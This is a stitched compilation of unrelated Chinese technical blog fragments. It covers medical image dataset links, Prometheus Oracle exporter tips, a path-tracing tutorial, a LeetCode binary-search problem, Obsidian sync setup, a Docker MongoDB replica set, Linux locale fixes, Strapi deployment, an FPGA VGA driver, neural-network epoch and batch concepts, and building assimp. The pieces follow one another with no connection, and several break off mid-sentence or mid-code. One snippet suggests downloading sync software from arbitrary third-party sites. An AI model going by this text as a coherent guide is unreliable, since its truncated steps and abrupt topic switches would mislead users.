本文由上海马拉火车(马拉AI)发布:整理了部分医学图像数据集。
01 多模态数据集
1.活体显微镜中心 (CIVM)、胚胎和新生小鼠 (H&E、MR)
下载链接:https://www.civm.duhs.duke.edu/duke-CIVM-sup-devatlas
2.LONI图像
下载链接:https://ida.loni.usc.edu/login.jsp
02 放射学数据集
包括超声、乳腺 X 光、X 光、CT、MRI、fMRI 等。
1.癌症影像 (TCIA)
下载链接:http://www.cancerimagingarchive.net/
2.阿尔茨海默病神经影像学 (ADNI)
下载链接:http://adni.loni.ucla.edu/
3.乳腺癌
下载链接:http://bcdr.inegi.up.pt/
4.乳腺 X 光
下载链接:http://marathon.csee.usf.edu/Mammography/Database.html
03 组织学和组织病理学
1.皮肤病
下载链接:https ://isdis.net/home
2.组织学
下载链接:http://www.informed.unal.edu.co/histologyDS
3.癌症基因组图谱
下载链接:https://tcga-data.nci.nih.gov/tcga/
4.组织微阵列
下载链接:http://tma.im
5.MYTHS 数据集
下载链接:http://ipal.cnrs.fr/ICPR2012/
6.癌症图像
下载链接:http://cancerim ages.nci.nih.gov/caIMAGE/
7.DPA 的全幻灯片成像
下载链接:https://digitalpathologyassociation.org/whole-slide-imaging-repository
04 显微镜
包含细胞、细胞学、生物学、蛋白质、分子、荧光等。
1.UCSB 生物分割基准数据集
下载链接:http://www.bioimage.ucsb.edu/research/biosegmentation
2.巴氏涂片
下载链接:http://labs.fme.aegean.gr/decision/downloads
3.BIICBU 生物图像
下载链接:http://ome.grc.nia.nih.gov/iicbu2008/
4.RNAi 数据集
下载链接:http://ome.grc.nia.nih.gov/iicbu2008/rnai/index.html
5.中国仓鼠卵巢细胞
下载链接:http://ome.grc.nia.nih.gov/iicbu2008/hela/index.html#cho
6.艾伦脑图谱
下载链接:http://www.brain-map.org/
需求:
希望能通过oracledb_exporter采集到必要信息(表空间信息,交易统计数据等),并发送短信给开发人员。
踩坑总结:
1、值必须为数值类型!使用sum(xxx)等函数时,可能出现NULL的结果,必须使用nvl函数!
nvl(sum(xxxx),0) 2、metricsdesc展示列必须小写!且不允许有下划线!
labels = [“NAME”,"TOTALBYTE","USED_BYTE"]
metricsdesc ={TOTALBYTE="总空间", USED_BYTE="已用空间"}
改为:
labels = [“name”,"totalbyte","usedbyte"]
metricsdesc ={totalbyte="总空间", usedbyte="已用空间"}
踩坑记录:
1.统计交易信息
统计前一天的交易数量,交易总金额等信息
[[metric]]
context = "testtrans"
labels= ["transdate","count","sumamt"] -- 需要关注的列信息
metricsdess={ count="总笔数", sumamt = "总金额" } -- 必须为数值类型
request ="
select to_char(sysdate-1,'yyyyMMdd') as transdate ,
count(1) as count,
sum(t.amt) as sumamt
from t_test_table t where 1=1 and t.transdate = to_char(sysdate-1,'yyyyMMdd')
"
以上为oracledb_exporter 中 default-metrics.toml 追加的自定义查询,重启之后发现,sumamt一直没有数据,一开始测试的时候由于未造数据,所以sum(t.amt) 数据为 NULL ,造数据之后发现sql执行是有数据的,但是Prometheus页面(ip:端口/metrics)上还是 sumamt="" 无数据。
一、Monte Carlo Integration—蒙特卡洛积分 我们学过如可求解不定积分,前提是我们可以求出这个函数的解析式,但是如果我们不知道这个函数解析式是什么怎么办呢?我们知道黎曼积分,它可以把整个函数图像切分成无限密的小长方形来求解。那么蒙特卡洛积分是怎么样做的呢?也很简单,我们以上图为例,在a-b间任取一点x,我们可以得到它对应的f(x),然后我们此时认为该函数图像就是一条水平线,也就是它的面积变成了一个矩形,底长为(b-a),高为f(x),我们用这样一个长方形的面积去近似这个不规则图形的面积,然后重复这个过程,我们可以取到很多很多长方形的面积,把它们加起来然后求平均,就可以近似得到这个函数图像的面积了,而每次取得长方形的过程就是一次采样的过程,也就是说如果对上图这个函数值进行均匀多次采样的话,其实就相当于将整个积分面积切成了许许多多个长方形,然后将这些小长方形的面积全部加起来这与黎曼积分的思想几乎一致。
由此我们可以基本得出用蒙特卡洛积分方法求解定积分的公式,如上图。当然这里用到的采样分布函数是均匀分布,实际上还有重要性采样,以方便我们得到的的误差更小。当然,即使是用均匀分布采样,只要采样点足够多,我们仍然可以得到一个相对准确的结果,但是性能开销可能会加大,所以有时候我们不一定会采用均匀分布来进行采样,而是整体形状和被积函数拟合的一个采样分布函数,那么由此,我们可以推出一个更加通用的公式。
同时要注意,如果我们对x进行积分,那么采样就一定要在x上。另外关于蒙特卡洛积分,知乎有位大佬写的一篇文章非常好,如果大家不太理解,大家可以看看:蒙特卡洛积分 - 知乎 (zhihu.com)
二、Path Tracing-路径追踪 1.Whitted-Style光线追踪的错误 (1)Glossy材质的错误表现 对于Whitted-Style光线追踪,我们之前说到的时候,假象了发生的反射都是镜面反射,但是事实上在有些时候并不是这样,如上图右边的Glossy反射,它看上去并不光滑,而是相对模糊,也就说明它反射的时候是对一小片区域进行反射,而不是完美的一条直线。
(2)漫反射材质之间缺少的反射 我们之前在做Whitted-Style光线追踪的过程中,我们发出eye ray之后打到透明材质折射,反射,但是当我们打到漫反射材质的时候却没有继续进行下去,这显然是不对的,因为光线在打到漫反射材质的时候还会继续在场景中弹射,上图揭示了这一规律。(左:无全局光照/右:有全局光照)
2.用蒙特卡洛积分来求解渲染方程 渲染方程是我们上一篇得到的,基于物理的准确的描述光的一套方法,所以它比Whitted-Style光线追踪更准确。关于渲染方程,我们之前得到的右边的项,是关于光源的照射/其它表面反射来的光,而这些的集合显然就是对半球的积分,我们用上面提到的蒙特卡洛积分方法来求解。其次这是一个递归的问题,因为光线会弹射多次。
(1)只考虑直接光照的情况 先考虑简单情况,如上图的较为简单的场景,一个面光源light,一个box,然后我们对这地面上的一个着色点进行分析。
我们先不考虑间接光照,只考虑光源的直接光照,且该着色点没有自发光,那么我们的渲染方程就可以减少一项,那么就只剩下了对半球的积分。那我们当然可以用蒙特卡洛方法进行求解。
那我们确定我们的f(x)被积函数就是上面的一大堆积分,那么采样分布函数呢,很简单,就是1/2π,因为我们是对半球的每个方向均匀采样,也就是采用均匀分布采样,而我们之前说过整个球的立体角是4π,那么半球的立体角就是2π,所以均匀分布函数的值就是1/2π,得到如下式子。
↑通过蒙特卡洛积分求解渲染方程只计算直接光照的伪码↑
(2)引入间接光照 如果我们从摄像机发出一条光线打到上图中P点,和光源连线,那么这计算的是P点的直接光照,但是我们不能忽略Q点对P点的光照的贡献,也就是间接光照。在渲染方程中我们提到,对于一个着色点,我们所作的积分中,并不区分是直接光照还是间接光照,那么直接光照我们前面已经提到了如何求解,Q点的间接光照呢?很简单,我们想象在P点有一个摄像机沿着Q的反射方向看向Q点,那么P点接收来自Q点的间接光照就相当于Q点接收到光源的直接光照反射后得到的结果。于是在上面的伪码上我们可以增加一项。如下图,而这恰恰是一种递归算法。
但是这里有一个问题,就是光线在递归之后会越来越多,如果我们设置递归发出的光线是100条,那么在递归的算法下,我们每次弹射都会再反射出100条光线,而我们的弹射点又不止一个,这是一个指数级的增加,会产生指数爆炸。
解决方法也很简单,1的多少次方都是1,所以我们不用100根光线,只用一根光线即可解决指数爆炸问题。所以修改一下伪码如下图所示。
而由此,我们得到了一个及其简化的公式(如上面伪码所示)因为我们的采样方向变成了1个,也就是N=1。而N=1的这种方法就叫做路径追踪。而如果N≠1,这是另一种,叫做分布式光线追踪,会产生指数爆炸。
但是我们如果只发出一条光线,会产生非常多的噪点。其实我们在一个像素中会发出很多条光线,而通过这些光线在场景中的不断弹射,最终这个像素会得到这个着色点接收不同弹射点的着色结果之和。
那么我们同样的可以写出伪码,如上图:在一个像素里发出N条path,也就是采样,对于每个像素的每个path发出一条光线,如果它打到了场景中的某个点p,该像素的radiance就等于不断累加的着色之和,而这里同样用到了蒙特卡洛积分方法。
但是现在仍然有问题,我们说过这个着色的算法是一个递归的算法,但是递归需要停止条件,而我们写的着色方法就是没有停止条件,它反映了光线弹射无限次,而现实中就是这样,但是这在计算机中是不能实现的,而如果我们把它限制在某一个固定的弹射次数违背了能量守恒,它损失了很多能量的计算,这也是不对的,那该怎么办呢?
3.Russian Roulette(RR)—俄罗斯轮盘赌 俄罗斯轮盘赌,简称RR,假如一把左轮枪里面装2发子弹,(弹匣容量6),然后朝自己开枪,那么活下来的概率就是4/6。那么这和光线弹射有什么关系呢?
对于每一条发射出的path,到达着色点的时候,我们提前设置一个概率P,让它以P的概率决定它继不继续进行弹射,如果弹射了,那么最终计算的积分结果我们取Lo/P,否则取0。这么做的原因是当我们取期望的时候,我们会发现我们的期望是Lo,也就是正确的。
而把俄罗斯轮盘赌总结到着色的代码上就得到了最终的伪码,如上图。
但是此时得到的图像效果质量取决于我们的SPP(samples per pixel),也就是每个像素发出的path数量,也就是采样率。也就说明,我们的算法并不是那么高效。
问题出在哪里呢?我们对于每一个着色点,我们是均匀的朝着四面八方采样的,也就是说,我们的光线能否能打到光源完全取决于运气,如果光源小,那么我们就会浪费许多光线,如最右图,我们平均每发射50000条光线才能打中一次光源。也就是说我们需要换一种采样方式。而且我们之前在说蒙特卡洛方法的时候特意提到了,采样分布函数不一定非要用均匀分布函数。
4.直接对光源采样—改写渲染方程 我们换一种思路,如果我们直接对光源进行采样,那岂不是就不会浪费了?如上图。但是我们要先想到渲染方程并不是定义在光源上的,而是定义在着色点的半球上的 。而我们之前也说过蒙特卡洛积分要求对谁积分就要在谁上面进行采样。但是此时我们是对光源进行采样,但确实在对立体角积分,所以是错误的。所以要对渲染方程进行改写,从对dω积分改为对dA积分,我们只需要知道dω和dA的关系然后替换即可。怎么替换?我们想想立体角的定义,面积除以距离平方,那我们只需要把dA这块面积投影到球面上然后除以着色点x和光源处点x'距离的平方即可,面积投影可以用cosθ'求得。而采样分布函数p(X)就是1/A,因为我们在光源上进行均匀的采样。这样一来我们就把渲染方程改为了对光源的积分。
而由此,我们就可以把任何一个着色点接收光的贡献拆成两部分,一部分是光源的直接光照对该着色点的贡献,另一部分则是间接光照的贡献。而光源直接的贡献经过我们改写的渲染方程积分之后可以直接得出,而且只涉及到一次弹射,所以光源这部分不需要用俄罗斯轮盘赌。
于是,我们得到如上图的伪码。
最后的细节,就是判断这个着色点p是否能接收到直接光照,也就是从p与光源的连线向光源发出一条光线,如果能到达光源,则说明该点与光源之间没有遮挡,也就是可以计算光源对该着色点的直接贡献,否则只计算间接光照,也就是除光源外的其它贡献。而到此,路径追踪的一整套流程就都完成了,而它基本上是100%正确的,如下图真实拍摄照片和路径追踪渲染结果的比较。
三、我们没有提到的细节 1.如何对半球进行采样?——采样理论
2.蒙特卡洛积分所用的采样分布函数不一定是均匀分布——重要性采样
3.随机数的选取优劣,随机数可以均匀分布在0~1——低差异序列
4.对光源采样和对半球采样可以相结合——多重重要性采样图形学|Robust:Multiple Importance Sampling 多重重要性采样 - 知乎 (zhihu.com)
5.像素的Radiance真的只是各种path的简单平均吗?还是加权平均?—pixel reconstruction filter
6.我们最终计算的结果是Radiance,而Radiance≠Color,如何将Radiance转化成Color呢?——伽马矫正,曲线,颜色空间
感兴趣的朋友可以自行了解。
参考: Lecture 16 Ray Tracing 4_哔哩哔哩_bilibili
⭐前言⭐ ※※※大家好!我是同学〖森〗,一名计算机爱好者,今天让我们进入复习模式。若有错误,请多多指教。更多有趣的代码请移步Gitee
👍 点赞 ⭐ 收藏 📝留言 都是我创作的最大的动力!
题目 704. 二分查找
给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。
示例1:
1| 输入: nums = [-1,0,3,5,9,12], target = 9 2| 输出: 4 3| 解释: 9在数组 nums 中,并且下标位置为 4 示例2:
输入: nums = [-1,0,3,5,9,12], target = 2 输出: -1 解释: 2 不存在 nums 中因此返回 -1 提示:
你可以假设 nums 中的所有元素是不重复的。n 将在 [1, 10000]之间。nums 的每个元素都将在 [-9999, 9999]之间。 思路 题目分析:
从数组中查询元素,存在返回下标,不存在返回-1;所有元素都是不重复的,不重复的升序数组
目录1.Obsidian电脑端准备
2.Obsidian安卓端准备
3.坚果云电脑端准备
4.坚果云手机端准备
5.FolderSync手机端准备
6.百度云冗余备份
1.Obsidian电脑端准备 这里以windows版本为例,下载后安装
1.Obsidian官网:https://obsidian.md/
官网下载有时候会很慢,遇到这种问题不用慌,打开github去下载:
2.github镜像站:Releases · obsidianmd/obsidian-releases · GitHub (fastgit.org)
3.迅雷:如果github也打不开,那么直接下载迅雷,复制github或者官网地址直接下载...http://link.zhihu.com/?target=https%3A//github.com/obsidianmd/obsidian-releases/releases/download/v0.13.19/Obsidian.0.13.19.exehttp://link.zhihu.com/?target=https%3A//github.com/obsidianmd/obsidian-releases/releases/download/v0.13.19/Obsidian.0.13.19.exe
2.Obsidian安卓端准备 不用到处找了,直接上链接链接:obsidian app 下载
3.坚果云电脑端准备 下载坚果云,设置本地同步文件夹
4.坚果云手机端准备 下载坚果云app,然后打开设置--第三方应用管理--添加应用密码
按照下图填写服务器地址,然后为foldersync创建密码
账号就是注册叫坚果云用的邮箱地址
5.FolderSync手机端准备 下载FolderSync,在百度上随便找一个都能用,我也是从什么xx软件园随便下载的,注意别中毒,有需要可以私信我发你
1.先选择账户,然后选择webDav
2.这里用户名填同样的邮箱地址, 密码就是上一步坚果云第三方应用中生成的那个密码,服务器地址填写dav.jianguoyun.com,然后测试一下是否可以联通
3.以下是文件夹同步配置,对于双向这个选项,第一次同步时可以勾选,后续根据需求再修改
4.有时候同步出现红色报警也没事,只要显示文件内容被上传或下载就是,有冲突的一般时双向传输的问题
6.百度云冗余备份 这个可以选择性的冗余备份,因为obsidian是个本地存储的文件系统,如果当同步出现问题,或者本地文件意外删除,那么可能会很难受,作为另一层冗余备份,利用百度云备份管理功能,即使本地内容消失,百度云同步备份也不会同步删除消失的内容,这一点坚果云和FloderSync有删除后同步消失的风险。
在Docker中安装 Mongo 拉取镜像
docker pull mongo:latest 创建网络组,用于固定这几个容器的IP,防止计算器或者Docker重启后,导致IP变动,副本集关联失败.
docker network create --subnet=172.19.0.0/16 mongo-cluster 创建3个 实例
docker run --net mongo-cluster --ip 172.19.0.2 -p 27017:27017 --name mongo1 -d mongo --replSet rs0 docker run --net mongo-cluster --ip 172.19.0.3 -p 27018:27017 --name mongo2 -d mongo --replSet rs0 docker run --net mongo-cluster --ip 172.19.0.4 -p 27019:27017 --name mongo3 -d mongo --replSet rs0 进入 实例容器 配置副本集
docker exec -it mongo1 mongosh 然后,将上面 docker inspect 获得的3个实例ip ,替换下面代码的ip,对副本集初始化.
在查看Tomcat日志中,会发现中文乱码,乱码的原因就是字符集问题。
在 Linux 中,可以使用 locale 命令查看当前系统的字符集。该命令输出当前系统所使用的语言环境信息,包括地域、编码等。
执行以下命令:
locale 输出结果可能类似于下面这样:
LANG=en_US.UTF-8 LANGUAGE=en_US:en LC_CTYPE="en_US.UTF-8" LC_NUMERIC=en_US.UTF-8 LC_TIME=en_US.UTF-8 LC_COLLATE="en_US.UTF-8" LC_MONETARY=en_US.UTF-8 LC_MESSAGES="en_US.UTF-8" LC_PAPER=en_US.UTF-8 LC_NAME=en_US.UTF-8 LC_ADDRESS=en_US.UTF-8 LC_TELEPHONE=en_US.UTF-8 LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=en_US.UTF-8 LC_ALL= 其中,LANG 表示系统的默认编码格式,一般为 UTF-8;LC_CTYPE 表示字符集,也是当前终端的字符集设置。
除了 locale 命令,还可以通过以下命令查看当前终端的字符集设置:
echo $LANG 输出的结果与 locale 命令中的 LANG 字段相同,都代表系统的默认编码格式。
zh_CN.UTF-8和 en_US.UTF-8 en_US.UTF-8 表示英文环境下的 UTF-8 编码,而 zh_CN.UTF-8 则表示中文环境下的 UTF-8 编码。
具体来说,这两个字符集的区别在于所支持的语言和文化差异。en_US.UTF-8 适用于使用英语的国家或地区(例如美国、英国、加拿大、澳大利亚等),而 zh_CN.UTF-8 则适用于中国大陆地区。
两者之间的主要区别在于它们所支持的字符和编码方式。UTF-8 编码是一种可变长编码,支持全球范围内的所有字符,包括汉字、拉丁字母、数字、符号等。不同的语言和地区可能会使用不同的字符集来支持本地化的字符和文化需求,因此需要选择相应的字符集来满足特定的需求。
总之,选择正确的字符集对于保障文化多样性和跨国交流非常重要,特别是在开发和部署跨语言和跨地域的软件系统时。
locale报错 如果在执行 locale 命令时出现错误提示,可能是因为当前系统没有安装或者没有正确配置语言环境。
解决方案如下:
确认是否安装了所需的语言包或工具:可以尝试安装相应的语言包或工具程序。例如,在 Ubuntu 系统上,可以使用以下命令安装中文支持:
sudo apt-get install language-pack-zh-hans 检查系统语言设置:可以检查系统语言设置是否正确。可以通过以下命令查看当前系统的语言设置:
localectl status 如果需要更改系统语言设置,可以使用以下命令进行修改:
最近使用终端比较多点,打开终端的方法有几种;比较常用有把终端添加到Dock栏上,然后就是利用Spotlight搜索Terminal来打开。但是两种方式还是让我感觉不太满意。
当开启的程序比较多的时候,去Dock中找终端也很慢,而且容易点错。而利用Spotlight去搜索的话也不是很快,思来想去,为终端添加一个快捷键
步骤如下:
去App中找到Automator/自动操作 打开Automator/自动操作后,打开服务/快速操作。
选择资料库 -> 操作 -> 实用工具 -> 开启应用程序(打开应用程序)
将“服务”收到选定的[ ] 改为没有 没有输入。然后在开启应用程序下,选择你要设置快捷键的应用程序,比如图中的iTerm
点击下运行,我们可以看到这个工作流程是生效的储存快速操作的作用 偏好设置 -> 键盘 -> 快捷键 -> 服务 -> 打开网易云音乐(第五步中储存的名称) 单击添加快捷键,然后在键盘上面按下你需要的快捷键。 过这六步之后,就能够使用快捷键来打开你的应用程序了,不过我现在使用之后发下,系统开机之后并不会马上响应你的快捷键,你需要在系统开机了一段时间之后才能使用这个快捷键。
SpringCloud微服务技术栈.黑马跟学一 微服务技术栈导学为什么学?学哪些?怎么学? 1.认识微服务1.1.学习目标1.2.单体架构1.3.分布式架构1.4.微服务1.5.SpringCloud1.6.总结 2.服务拆分和远程调用2.1.服务拆分原则2.2.服务拆分示例2.2.1.导入Sql语句2.2.2.导入demo工程 2.3.实现远程调用案例2.3.1.案例需求:2.3.2.注册RestTemplate2.3.3.实现远程调用 2.4.提供者与消费者 3.Eureka注册中心3.1.Eureka的结构和作用3.2.搭建eureka-server3.2.1.创建eureka-server服务3.2.2.引入eureka依赖3.2.3.编写启动类3.2.4.编写配置文件3.2.5.启动服务 3.3.服务注册1)引入依赖2)配置文件3)启动多个user-service实例 3.4.服务发现1)引入依赖2)配置文件3)服务拉取和负载均衡 4.Ribbon负载均衡4.1.负载均衡原理4.2.源码跟踪1)LoadBalancerIntercepor2)LoadBalancerClient3)负载均衡策略IRule4)总结 4.3.负载均衡策略4.3.1.负载均衡策略4.3.2.自定义负载均衡策略 4.4.饥饿加载 5.Nacos注册中心5.1.认识和安装Nacos5.1.1 Nacos安装指南1.Windows安装1.1.下载安装包1.2.解压1.3.端口配置1.4.启动1.5.访问 2.Linux安装2.1.安装JDK2.2.上传安装包2.3.解压2.4.端口配置2.5.启动 3.Nacos的依赖 5.2.服务注册到nacos1)引入依赖2)配置nacos地址3)重启 5.3.服务分级存储模型5.3.1.给user-service配置集群5.3.2.同集群优先的负载均衡 5.4.权重配置5.5.环境隔离5.5.1.创建namespace5.5.2.给微服务配置namespace 5.6.Nacos与Eureka的区别 微服务技术栈导学 为什么学? 首先明白 SpringCloud != 微服务
应用场景:
• 找工作
面试必问微服务
企业开发也都使用微服务
• 降低成本
互联网发展迅速,业务更新迭代快
微服务符合敏捷开发需求
• 激发程序员
架构师和操作人员受性能驱动,使用最好的工具来解决他们遇到的技术和业务问题
• 快速迭代
互联网发展迅速,业务更新迭代快
微服务符合敏捷开发需求
学哪些? 核心思想是拆分,把大的业务模块划分成多个小的模块,每个模块叫服务。多个服务形成了服务集群。
服务集群多了之后,各个服务之间的调用关系会很复杂,需要靠注册中心管理。
同理,随着服务集群的增多,配置文件也不断增长需要配置中心来管理(实现配置的热更新)。
用户访问组件需要经过网关,其作用主要是:身份验证、路由规则、负载均衡。
把数据库数据放入内存中,为了应对高并发,不能是单体缓存而是集群,称为分布式缓存。
进行搜索的时候用上分布式搜索。
最后还需要异步通信的消息队列,为了减少服务通知的链路,缩短响应时间,增加吞吐量。
最后这么多组件,一旦出了问题,不好定位,引入分布式日志服务。
实时监控系统中各个服务的状态和内存占用,可以定位到某个方法栈信息,便于找到异常所在称为系统监控链路追踪。
微笑服务的部署,只靠人工比较麻烦,我们引入Jenkins对微服务项目进行自动化编译,用Docker进行打包和镜像再基于kubernets或者RANCHER实现自动化的部署。这些就叫做持续集成。
怎么学? 分层次教学
学习路径:
每天任务
今日学习目标:
1.认识微服务 随着互联网行业的发展,对服务的要求也越来越高,服务架构也从单体架构逐渐演变为现在流行的微服务架构。这些架构之间有怎样的差别呢?
1.1.学习目标 了解微服务架构的优缺点
1.2.单体架构 单体架构:将业务的所有功能集中在一个项目中开发,打成一个包部署。
单体架构的优缺点如下:
优点:
架构简单部署成本低 缺点:
耦合度高(维护困难、升级困难) 1.
工具 服务器 Linux version 4.18.0-305.3.1.el8.x86_64
nginx 1.14.1
strapi v3.6.0-beta.0
node v16.13.0
数据库 用的strapi默认的sqlite
FileZilla
Xshell
域名一个
创建Strapi项目 直接看我老文章,按步骤来即可
Strapi新手入门教程
启动文件 在你strapi项目的根目录下新建server.js
const strapi = require('strapi'); strapi().start(); 上传项目到服务器 用FileZilla软件上传Strapi项目到服务器。上传除git、build、cache、node_modules外所有文件,大概30MB左右。(整个项目500M,不要直接全部传)用Xshell登录服务器并cd到strapi项目根目录,运行npm i安装依赖,然后npm run build生成控制台页面。 用pm2启动项目 npm install -g pm2 pm2 -v // 5.1.2 // cd 到strapi项目根目录下执行 pm2 start ./server.js 如果不使用nginx,直接访问strapi 访问 http://你服务器ip:1337/admin
如果不通
1:排查服务器1337端口是否开放。
2:输入pm2 list,查看server的status是否online
安装nginx 安装nginx方法
配置nginx.conf 在nginx配置反向代理
没有域名就填localhost,然后用ip访问也可以。
server { listen 80; server_name 你的域名.com; location / { proxy_pass http://127.0.0.1:1337; } error_page 404 /404.
文章目录 一、VGA协议二、实现1、创建项目2、时钟分频3、提取字模4、图片显示 三、代码实现1、VGA Driver2、数据显示模块3、按键消抖4、顶层模块5、TCL引脚绑定脚本 四、RTL原理图五、实现效果六、总结七、参考资料 本次实验所需工具: 链接: https://pan.baidu.com/s/1VYLHUd4uXtw_9jGiLIKaig?pwd=u1d5 提取码:u1d5 一、VGA协议 VGA(Video Graphics Array)视频图形阵列是 IBM 于1987年提出的一个使用模拟信号的电脑显示标准。VGA具有分辨率高、显示速率快、颜色丰富等优点。VGA 接口不但是CRT 显示设备的标准接口,同样也是 LCD 液晶显示设备的标准接口,具有广泛的应用范围。使用原理:显示器扫描方式分为逐行扫描和隔行扫描:逐行扫描是扫描从屏幕左上角一点开始,从左向右逐点扫描,每扫描完一行,电子束回到屏幕的左边下一行的起始位置,在这期间,每行结束时,用行同步信号进行同步;当扫描完所有的行,形成一帧,用场同步信号进行场同步,并使扫描回到屏幕左上方,开始下一帧。隔行扫描是指电子束扫描时每隔一行扫一线,完成一屏后在返回来扫描剩下的线,隔行扫描的显示器闪烁的厉害,会让使用者的眼睛疲劳。在此我们选择逐行扫描的方式。 二、实现 1、创建项目 首先,利用Quartus Ⅱ创建相关项目,具体可参照博主以前的博客。
2、时钟分频 按照下图所示在IP核中搜索PLL,并进行时钟分频
基础时钟选择50M:
取消勾选输出
c0默认输出50M即可,c1分频到25M,如需其他时钟频率可以自己进行设置
勾选如下选项后finish
3、提取字模 在字模提取工具里面输入需要显示的字符并设置字符大小为64*64
点击左上角文件->另存为BMP文件
再点击文件-打开,把保存的BMP图片打开得到整体的字符
再点击选项按如下参数设置
最后点击生成字模并保存字模为文本文件
4、图片显示 显示图片前需要使用工具把图片转为HEX文件,同时图片分辨率不能太高,否则会超出FPGA储存上限
转换工具设置如下(该工具只可转换24位图片):
由于图片数据太多因此需要使用ROM来存储数据
操作如下:
打开Quartus,在左侧工具栏搜索ROM
点击后创建文件名
在弹出的设置界面,选择图片位数,图片内存大小为各位选择图片的分辨率大小,例:10×10的图片,则选择100
取消勾选下列选项
找到刚才生成的图片文件:
最后勾选以下选项
三、代码实现 1、VGA Driver module vga_dirve (input wire clk, //系统时钟 input wire rst_n, //复位 input wire [ 15:0 ] rgb_data, //16位RGB对应值 output wire vga_clk, //vga时钟 25M output reg h_sync, //行同步信号 output reg v_sync, //场同步信号 output reg [ 11:0 ] addr_h, //行地址 output reg [ 11:0 ] addr_v, //列地址 output wire [ 4:0 ] rgb_r, //红基色 output wire [ 5:0 ] rgb_g, //绿基色 output wire [ 4:0 ] rgb_b //蓝基色 ); // 640 * 480 60HZ localparam H_FRONT = 16; // 行同步前沿信号周期长 localparam H_SYNC = 96; // 行同步信号周期长 localparam H_BLACK = 48; // 行同步后沿信号周期长 localparam H_ACT = 640; // 行显示周期长 localparam V_FRONT = 11; // 场同步前沿信号周期长 localparam V_SYNC = 2; // 场同步信号周期长 localparam V_BLACK = 31; // 场同步后沿信号周期长 localparam V_ACT = 480; // 场显示周期长 // 800 * 600 72HZ // localparam H_FRONT = 40; // 行同步前沿信号周期长 // localparam H_SYNC = 120; // 行同步信号周期长 // localparam H_BLACK = 88; // 行同步后沿信号周期长 // localparam H_ACT = 800; // 行显示周期长 // localparam V_FRONT = 37; // 场同步前沿信号周期长 // localparam V_SYNC = 6; // 场同步信号周期长 // localparam V_BLACK = 23; // 场同步后沿信号周期长 // localparam V_ACT = 600; // 场显示周期长 localparam H_TOTAL = H_FRONT + H_SYNC + H_BLACK + H_ACT; // 行周期 localparam V_TOTAL = V_FRONT + V_SYNC + V_BLACK + V_ACT; // 列周期 reg [ 11:0 ] cnt_h ; // 行计数器 reg [ 11:0 ] cnt_v ; // 场计数器 reg [ 15:0 ] rgb ; // 对应显示颜色值 // 对应计数器开始、结束、计数信号 wire flag_enable_cnt_h ; wire flag_clear_cnt_h ; wire flag_enable_cnt_v ; wire flag_clear_cnt_v ; wire flag_add_cnt_v ; wire valid_area ; // 25M时钟 行周期*场周期*刷新率 = 800 * 525* 60 wire clk_25 ; // 50M时钟 1040 * 666 * 72 wire clk_50 ; //PLL pll pll_inst ( .
知识来源知乎专栏作者风度、
作者眼睛里面进砖头了https://www.zhihu.com/question/456600260
epoch:
一个完整的数据集通过了神经网络一次并返回一次,称为一个epoch。所有的训练样本在神经网络中都进行了一次正向传播和反向传播,就是一个epoch将所有的训练集训练一次的过程。
Batch:
当一个epoch的样本数量太庞大,需要把它分成多个小块,也就是分成多个batch来进行训练。batch(批/一批样本),将整个训练样本分成若干个batch。
batch_size:
每批样本的大小
iteration:
一次迭代,训练一个Batch就是一次iteration
神经网络中传递完整的数据集一次是不够的,而且我们需要将完整的数据集在同样的神经网络中传递多次。使用有限的数据集,使用一个迭代过程即梯度下降优化学习过程。随着epoch数量增加,神经网络中的权重的更新次数也在增加,但是具体多少个epoch case by case
Batch_size:它的大小影响模型的优化程度和速度,直接影响到GPU内存的使用情况,GPU内存不大,数值最好设置小一点。
Batch_size增大,梯度变得准确,当非常准确的时候,在增加batch_size也没用了。
batch_size增大要到达相同的准确度,必须增大epoch:
batch size的大小影响的是训练过程中的完成每个epoch所需的时间和每次迭代(iteration)之间梯度的平滑程度。其实看完batch_size的解释,基本就应该知道epoch在发挥个什么作用了。说简单点,epoch影响的就是迭代计算的次数。
在不限内存的情况,应当用大点的batch_size, 进行模型优化,稳且快。在内存有限的情况下,减小batch_size的情况下应该相应减小的是learning_rate, 至于epoch怎么调,你就需要综合看你的loss下降情况与验证集的指标情况了。
若是loss还能降,指标还在升,那说明欠拟合,还没收敛,应该继续train,增大epoch。若是loss还能再降,指标也在降,说明过拟合了,那就得采用提前终止(减少epoch)或采用weight_decay等防过拟合措施。
3.若是设置epoch=16,到第8个epoch,loss也不降了,指标也不动了,说明8个epoch就够了,剩下的白算了。当然以上说的都是预设的一些理想情况,现实中往往没有这么明确,就如第三种情况,它可能只是到了局部最优点,并没有最优,你可能换个大点的batch_size,模型就调了个方向继续下坡,指标又能往上走点。
首先,我的opengl教程是这个(opengl教程assimp),但他说的很简略,就说用cmake自己编译Assimp。我之前装glfw的时候就绕过了用cmake自己编这个步骤,行吧该学的总要学会的。
因为这个教程过于简略,我就换了一个教程参考:(非常感谢wodownload2这位大佬的教程:地址→(assimp编译及使用(1))
前面几个步骤都是OK的,我截图贴过来了:
第一步:下载assimp源码 源码下载github地址
下载完解压,得到:
。。。
这里的build文件夹需要自己手动建个空的(上图蓝框)。
第二步:用CMake编译assimp工程 这个第二步就有点复杂了。首先需要安装一个cmake。这个随便搜一个安装就行,啥版本都不重要,我电脑里已经装过3.9版本。接下来要用的是下图中的Cmake(cmake-gui) 这个带界面的cmake,下面的是用命令行的(有点虚命令行所以不用)
Cmake-gui打开如下:蓝框里的是要自己填的路径,分别填入:刚下载的assimp解压到的位置(源代码的输入路径),以及自行创建的build文件夹路径(用来存放cmake的输出)
然后点击左下角的configure按钮,弹窗时选择自己的VS版本。
我是选的VS2015,没选win64那项,因为我照着写opengl教程的时候,一直是在debug/x86条件下run的(我的opengl项目如下图),所以cmake的时候怕出问题所以也保持了一致。
点击finish,就会自动开始跑了。
注意上图的蓝框,运行过程中如果报错了都会显示在这里。运行完后蓝框上方会出现很多条红色的项目,不用管它。
第三步(可能会需要):assimp编译过程中提示没找到DirectX 这是我的运行过程中提示没找到DirectX的部分:
Could NOT find PkgConfig (missing: PKG_CONFIG_EXECUTABLE)
Looking for DirectX...
DirectX_PREFIX_PATH changed.
Could not locate DirectX
【这里一般都会看到could not locate DirectX。这是因为现在电脑里没有安装DirectX】
DirectX下载地址:DirectX官方下载 (是个傻瓜式一键安装的.exe)
